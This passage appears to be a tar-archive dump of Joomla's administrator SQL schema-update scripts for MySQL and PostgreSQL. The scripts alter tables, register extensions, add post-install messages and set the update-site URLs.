(700, 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_DESCRIPTION', '', 'com_admin', 1, 'message', '3.9.22', 1);
com_admin/sql/updates/mysql/2.5.0-2011-12-20.sql000060400000000500152455305270014305 0ustar00SELECT @old_params:= CONCAT(SUBSTRING_INDEX(SUBSTRING(params, LOCATE('"filters":', params)), '}}', 1), '}}') as filters
FROM `#__extensions` 
WHERE name="com_content";

UPDATE `#__extensions`
SET params=CONCAT('{',SUBSTRING(params, 2, CHAR_LENGTH(params)-2),IF(params='','',','),@old_params,'}')
WHERE name="com_config";com_admin/sql/updates/mysql/3.9.10-2019-07-09.sql000060400000000115152455305270014420 0ustar00ALTER TABLE `#__template_styles` MODIFY `home` char(7) NOT NULL DEFAULT '0';
com_admin/sql/updates/mysql/3.6.3-2016-08-16.sql000060400000001352152455305270014337 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_BODY', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_ACTION', 'plg_system_updatenotification', 1, 'action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_condition', '3.6.3', 1);com_admin/sql/updates/mysql/3.6.0-2016-04-06.sql000060400000000100152455305270014315 0ustar00ALTER TABLE `#__redirect_links` MODIFY `new_url` VARCHAR(2048);
com_admin/sql/updates/mysql/3.2.2-2014-01-15.sql000060400000000745152455305270014325 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'COM_CPANEL_MSG_PHPVERSION_TITLE', 'COM_CPANEL_MSG_PHPVERSION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/phpversion.php', 'admin_postinstall_phpversion_condition', '3.2.2', 1);
com_admin/sql/updates/mysql/3.6.0-2016-04-01.sql000060400000001651152455305270014324 0ustar00-- Rename update site names
UPDATE `#__update_sites` SET `name` = 'Joomla! Core' WHERE `name` = 'Joomla Core' AND `type` = 'collection';
UPDATE `#__update_sites` SET `name` = 'Joomla! Extension Directory' WHERE `name` = 'Joomla Extension Directory' AND `type` = 'collection';

UPDATE `#__update_sites` SET `location` = 'https://update.joomla.org/core/list.xml' WHERE `name` = 'Joomla! Core' AND `type` = 'collection';
UPDATE `#__update_sites` SET `location` = 'https://update.joomla.org/jed/list.xml' WHERE `name` = 'Joomla! Extension Directory' AND `type` = 'collection';
UPDATE `#__update_sites` SET `location` = 'https://update.joomla.org/language/translationlist_3.xml' WHERE `name` = 'Accredited Joomla! Translations' AND `type` = 'collection';
UPDATE `#__update_sites` SET `location` = 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml' WHERE `name` = 'Joomla! Update Component Update Site' AND `type` = 'extension';
com_admin/sql/updates/mysql/3.2.3-2014-02-20.sql000060400000000256152455305270014320 0ustar00UPDATE `#__extensions` ext1, `#__extensions` ext2 SET ext1.`params` =  ext2.`params` WHERE ext1.`name` = 'plg_authentication_cookie' AND ext2.`name` = 'plg_system_remember';
com_admin/sql/updates/mysql/3.2.2-2013-12-22.sql000060400000000235152455305270014316 0ustar00ALTER TABLE `#__update_sites` ADD COLUMN `extra_query` VARCHAR(1000) DEFAULT '';
ALTER TABLE `#__updates` ADD COLUMN `extra_query` VARCHAR(1000) DEFAULT '';
com_admin/sql/updates/mysql/3.9.0-2018-09-04.sql000060400000000440152455305270014334 0ustar00CREATE TABLE IF NOT EXISTS `#__action_logs_users` (
  `user_id` int UNSIGNED NOT NULL,
  `notify` tinyint UNSIGNED NOT NULL,
  `extensions` text NOT NULL,
  PRIMARY KEY (`user_id`),
  KEY `idx_notify` (`notify`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_admin/sql/updates/mysql/3.9.0-2018-10-20.sql000060400000000274152455305270014327 0ustar00ALTER TABLE `#__privacy_requests` DROP INDEX `idx_checkout`;
ALTER TABLE `#__privacy_requests` DROP COLUMN `checked_out`;
ALTER TABLE `#__privacy_requests` DROP COLUMN `checked_out_time`;
com_admin/sql/updates/mysql/3.7.0-2017-01-15.sql000060400000000565152455305270014333 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(34, 'com_associations', 'component', 'com_associations', '', 1, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.6.0-2016-04-08.sql000060400000001335152455305270014332 0ustar00-- Insert the missing en-GB package extension.
INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`)
 VALUES (802, 'English (United Kingdom)', 'package', 'pkg_en-GB', '', 0, 1, 1, 1, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);

-- Change update site extension id to the new extension.
UPDATE `#__update_sites_extensions`
SET `extension_id` = 802
WHERE `update_site_id` IN (
			SELECT `update_site_id`
			FROM `#__update_sites`
			WHERE `name` = 'Accredited Joomla! Translations'
			AND `type` = 'collection'
			)
AND `extension_id` = 600;
com_admin/sql/updates/mysql/3.9.0-2018-10-15.sql000060400000000512152455305270014326 0ustar00ALTER TABLE `#__action_logs` ADD INDEX `idx_user_id` (`user_id`);
ALTER TABLE `#__action_logs` ADD INDEX `idx_user_id_logdate` (`user_id`, `log_date`);
ALTER TABLE `#__action_logs` ADD INDEX `idx_user_id_extension` (`user_id`, `extension`);
ALTER TABLE `#__action_logs` ADD INDEX `idx_extension_item_id` (`extension`, `item_id`);
com_admin/sql/updates/mysql/3.9.3-2019-01-12.sql000060400000000340152455305270014326 0ustar00UPDATE `#__extensions` 
SET `params` = REPLACE(`params`, '"com_categories",', '"com_categories","com_checkin",')
WHERE `name` = 'com_actionlogs';

INSERT INTO `#__action_logs_extensions` (`extension`) VALUES
('com_checkin');com_admin/sql/updates/mysql/3.9.0-2018-07-09.sql000060400000001205152455305270014337 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(490, 0, 'plg_privacy_contact', 'plugin', 'contact', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(491, 0, 'plg_privacy_content', 'plugin', 'content', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(492, 0, 'plg_privacy_message', 'plugin', 'message', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.7.0-2017-03-03.sql000060400000000476152455305270014333 0ustar00ALTER TABLE `#__languages` MODIFY `asset_id` int unsigned NOT NULL DEFAULT 0;
ALTER TABLE `#__menu_types` MODIFY `asset_id` int unsigned NOT NULL DEFAULT 0;

ALTER TABLE  `#__content` MODIFY `xreference` varchar(50) NOT NULL DEFAULT '';
ALTER TABLE  `#__newsfeeds` MODIFY `xreference` varchar(50) NOT NULL DEFAULT '';
com_admin/sql/updates/mysql/3.0.2.sql000060400000000071152455305270013266 0ustar00# Placeholder file for database changes for version 3.0.2com_admin/sql/updates/mysql/3.9.0-2018-06-12.sql000060400000000620152455305270014330 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(320, 0, 'mod_privacy_dashboard', 'module', 'mod_privacy_dashboard', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.7-2019-05-16.sql000060400000000105152455305270014341 0ustar00# Query removed, see https://github.com/joomla/joomla-cms/pull/25177
com_admin/sql/updates/mysql/3.9.0-2018-05-24.sql000060400000001571152455305270014340 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(485, 0, 'plg_system_privacyconsent', 'plugin', 'privacyconsent', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

CREATE TABLE IF NOT EXISTS `#__privacy_consents` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `user_id` int unsigned NOT NULL DEFAULT 0,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `subject` varchar(255) NOT NULL DEFAULT '',
  `body` text NOT NULL,
  `remind` tinyint NOT NULL DEFAULT 0,
  `token` varchar(100) NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `idx_user_id` (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_admin/sql/updates/mysql/3.7.0-2016-11-21.sql000060400000000156152455305270014324 0ustar00-- Replace language image UNIQUE index for a normal INDEX.
ALTER TABLE `#__languages` DROP INDEX `idx_image`;
com_admin/sql/updates/mysql/3.6.0-2016-06-01.sql000060400000000126152455305270014322 0ustar00UPDATE `#__extensions` SET `protected` = 1, `enabled` = 1  WHERE `name` = 'com_ajax';
com_admin/sql/updates/mysql/3.7.0-2017-04-10.sql000060400000001144152455305270014323 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'TPL_HATHOR_MESSAGE_POSTINSTALL_TITLE', 'TPL_HATHOR_MESSAGE_POSTINSTALL_BODY', 'TPL_HATHOR_MESSAGE_POSTINSTALL_ACTION', 'tpl_hathor', 1, 'action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_condition', '3.7.0', 1);com_admin/sql/updates/mysql/3.9.0-2018-07-11.sql000060400000000615152455305270014334 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(493, 0, 'plg_privacy_actionlogs', 'plugin', 'actionlogs', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.9.19-2020-06-01.sql000060400000000766152455305270014424 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_TEXTFILTER3919_TITLE', 'COM_CPANEL_MSG_TEXTFILTER3919_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/textfilter3919.php', 'admin_postinstall_textfilter3919_condition', '3.9.19', 1);
com_admin/sql/updates/mysql/3.9.16-2020-02-15.sql000060400000001226152455305270014412 0ustar00ALTER TABLE `#__categories` MODIFY `description` mediumtext;
ALTER TABLE `#__categories` MODIFY `params` text;
ALTER TABLE `#__fields` MODIFY `default_value` text;
ALTER TABLE `#__fields_values` MODIFY `value` text;
ALTER TABLE `#__finder_links` MODIFY `description` text;
ALTER TABLE `#__modules` MODIFY `content` text;
ALTER TABLE `#__ucm_content` MODIFY `core_body` mediumtext;
ALTER TABLE `#__ucm_content` MODIFY `core_params` text;
ALTER TABLE `#__ucm_content` MODIFY `core_images` text;
ALTER TABLE `#__ucm_content` MODIFY `core_urls` text;
ALTER TABLE `#__ucm_content` MODIFY `core_metakey` text;
ALTER TABLE `#__ucm_content` MODIFY `core_metadesc` text;
com_admin/sql/updates/mysql/2.5.3-2012-03-13.sql000060400000000046152455305270014320 0ustar00# Dummy SQL file to set schema versioncom_admin/sql/updates/mysql/3.9.8-2019-06-11.sql000060400000000074152455305270014343 0ustar00UPDATE #__users SET params = REPLACE(params, '",,"', '","');com_admin/sql/updates/mysql/3.7.0-2017-01-31.sql000060400000000562152455305270014326 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(477, 'plg_content_fields', 'plugin', 'fields', 'content', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.7.0-2017-04-19.sql000060400000000250152455305270014331 0ustar00-- Set integer field default values.
UPDATE `#__extensions` SET `params` = '{"multiple":"0","first":"1","last":"100","step":"1"}' WHERE `name` = 'plg_fields_integer';

com_admin/sql/updates/mysql/3.9.3-2019-02-07.sql000060400000000745152455305270014344 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_ADDNOSNIFF_TITLE', 'COM_CPANEL_MSG_ADDNOSNIFF_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/addnosniff.php', 'admin_postinstall_addnosniff_condition', '3.9.3', 1);
com_admin/sql/updates/mysql/3.1.2.sql000060400000021415152455305270013274 0ustar00UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Article';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Contact';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Newsfeed';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'User';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Article Category';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Contact Category';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Newsfeeds Category';
UPDATE `#__content_types` SET `table` = '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE `type_title` = 'Tag';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}, "special": {"fulltext":"fulltext"}}' WHERE `type_title` = 'Article';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}}' WHERE `type_title` = 'Contact';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}}' WHERE `type_title` = 'Newsfeed';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {}}' WHERE `type_title` = 'User';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE `type_title` = 'Article Category';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE `type_title` = 'Contact Category';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE `type_title` = 'Newsfeeds Category';
UPDATE `#__content_types` SET `field_mappings` = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}}' WHERE `type_title` = 'Tag';
com_admin/sql/updates/mysql/3.5.0-2015-11-05.sql000060400000001552152455305270014324 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(454, 'plg_system_stats', 'plugin', 'stats', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_STATS_COLLECTION_TITLE', 'COM_CPANEL_MSG_STATS_COLLECTION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/statscollection.php', 'admin_postinstall_statscollection_condition', '3.5.0', 1);
com_admin/sql/updates/mysql/3.7.3-2017-06-03.sql000060400000000223152455305270014327 0ustar00ALTER TABLE `#__menu` MODIFY `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'The time the menu item was checked out.';
com_admin/sql/updates/mysql/3.4.0-2014-09-01.sql000060400000001347152455305270014327 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(801, 'weblinks', 'package', 'pkg_weblinks', '', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__update_sites` (`name`, `type`, `location`, `enabled`) VALUES
('Weblinks Update Site', 'extension', 'https://raw.githubusercontent.com/joomla-extensions/weblinks/master/manifest.xml', 1);

INSERT INTO `#__update_sites_extensions` (`update_site_id`, `extension_id`) VALUES
((SELECT `update_site_id` FROM `#__update_sites` WHERE `name` = 'Weblinks Update Site'), 801);
com_admin/sql/updates/mysql/3.1.5.sql000060400000000072152455305270013273 0ustar00# Placeholder file for database changes for version 3.1.5
com_admin/sql/updates/mysql/3.7.0-2016-10-01.sql000060400000000574152455305270014325 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(460, 'plg_editors-xtd_contact', 'plugin', 'contact', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/2.5.6.sql000060400000000071152455305270013276 0ustar00# Placeholder file for database changes for version 2.5.6com_admin/sql/updates/postgresql/3.7.0-2017-02-15.sql000060400000000171152455305270015363 0ustar00-- Normalize redirect_links table default values.
ALTER TABLE "#__redirect_links" ALTER COLUMN "comment" SET DEFAULT '';
com_admin/sql/updates/postgresql/3.5.0-2015-10-30.sql000060400000000171152455305270015353 0ustar00UPDATE "#__menu" SET "title" = 'com_contact_contacts' WHERE "client_id" = 1 AND "level" = 2 AND "title" = 'com_contact';
com_admin/sql/updates/postgresql/3.1.1.sql000060400000000071152455305270014324 0ustar00# Placeholder file for database changes for version 3.1.1com_admin/sql/updates/postgresql/3.9.27-2021-04-20.sql000060400000000510152455305270015444 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "language_extension", "language_client_id", "type", "version_introduced", "enabled")
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_DESCRIPTION', 'com_admin', 1, 'message', '3.9.27', 1);
com_admin/sql/updates/postgresql/3.8.4-2018-01-16.sql000060400000000110152455305270015362 0ustar00DROP INDEX "#__user_keys_series_2";
DROP INDEX "#__user_keys_series_3";
com_admin/sql/updates/postgresql/3.9.0-2018-05-27.sql000060400000001006152455305270015372 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(486, 0, 'plg_system_logrotation', 'plugin', 'logrotation', 'system', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(487, 0, 'plg_privacy_user', 'plugin', 'user', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.16-2020-03-04.sql000060400000000175152455305270015451 0ustar00DROP INDEX IF EXISTS "#__users_username";
ALTER TABLE "#__users" ADD CONSTRAINT "#__users_idx_username" UNIQUE ("username");
com_admin/sql/updates/postgresql/3.2.2-2014-01-23.sql000060400000001140152455305270015350 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(106, 'PHPass', 'library', 'phpass', '', 0, 1, 1, 1, '{"legacy":false,"name":"PHPass","type":"library","creationDate":"2004-2006","author":"Solar Designer","authorEmail":"solar@openwall.com","authorUrl":"http:\/\/www.openwall.com/phpass","version":"0.3","description":"LIB_PHPASS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.0-2018-05-20.sql000060400000000610152455305270015363 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(319, 0, 'mod_latestactions', 'module', 'mod_latestactions', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.7.0-2017-03-09.sql000060400000001353152455305270015372 0ustar00UPDATE "#__categories" SET published = 1 WHERE alias = 'root';
UPDATE "#__categories" AS "c"
SET published = c2.newPublished
FROM (
SELECT c2.id, CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
FROM "#__categories" AS "c2"
INNER JOIN "#__categories" AS "p" ON p.lft <= c2.lft AND c2.rgt <= p.rgt
GROUP BY c2.id) AS c2
WHERE c2.id = c.id;

UPDATE "#__menu" SET published = 1 WHERE alias = 'root';
UPDATE "#__menu" AS "c"
SET published = c2.newPublished
FROM (
SELECT c2.id, CASE WHEN MIN(p.published) > 0 THEN MAX(p.published) ELSE MIN(p.published) END AS newPublished
FROM "#__menu" AS "c2"
INNER JOIN "#__menu" AS "p" ON p.lft <= c2.lft AND c2.rgt <= p.rgt
GROUP BY c2.id) AS c2
WHERE c2.id = c.id;
com_admin/sql/updates/postgresql/3.9.0-2018-08-29.sql000060400000000717152455305270015407 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(494, 0, 'plg_captcha_recaptcha_invisible', 'plugin', 'recaptcha_invisible', 'captcha', 0, 0, 1, 0, '', '{"public_key":"","private_key":"","theme":"clean"}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.6.3-2016-08-15.sql000060400000000211152455305270015365 0ustar00--
-- Increasing size of the URL field in com_newsfeeds
--

